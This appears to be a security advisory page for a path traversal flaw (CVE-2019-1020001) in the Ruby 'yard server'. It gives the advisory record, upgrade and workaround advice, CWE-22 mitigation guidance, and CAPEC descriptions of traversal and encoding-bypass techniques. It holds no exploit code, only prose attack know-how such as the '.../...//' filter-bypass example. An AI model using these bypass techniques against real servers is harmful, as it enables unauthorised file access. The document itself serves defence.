For users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via yard server -s webrick), as can certain rules in your webserver configuration.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "yard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1020001"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:03:08Z",
"nvd_published_at": "2019-07-29T13:15:00Z",
"severity": "HIGH"
},
"details": "## Possible arbitrary path traversal and file access via `yard server`\n\n### Impact\n\nA path traversal vulnerability was discovered in YARD \u003c= 0.9.19 when using `yard server` to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.\n\nThanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.\n\n### Patches\n\nPlease upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.\n\n### Workarounds\n\nFor users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via `yard server -s webrick`), as can certain rules in your webserver configuration.",
"id": "GHSA-xfhh-rx56-rxcr",
"modified": "2024-03-07T00:30:48Z",
"published": "2019-07-02T15:28:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1020001"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xfhh-rx56-rxcr"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/03/msg00006.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal vulnerability that affects yard"
}
Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Implementation
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Architecture and Design
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Architecture and Design
Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Architecture and Design
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design
Operation
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design
Operation
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation
Implementation
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.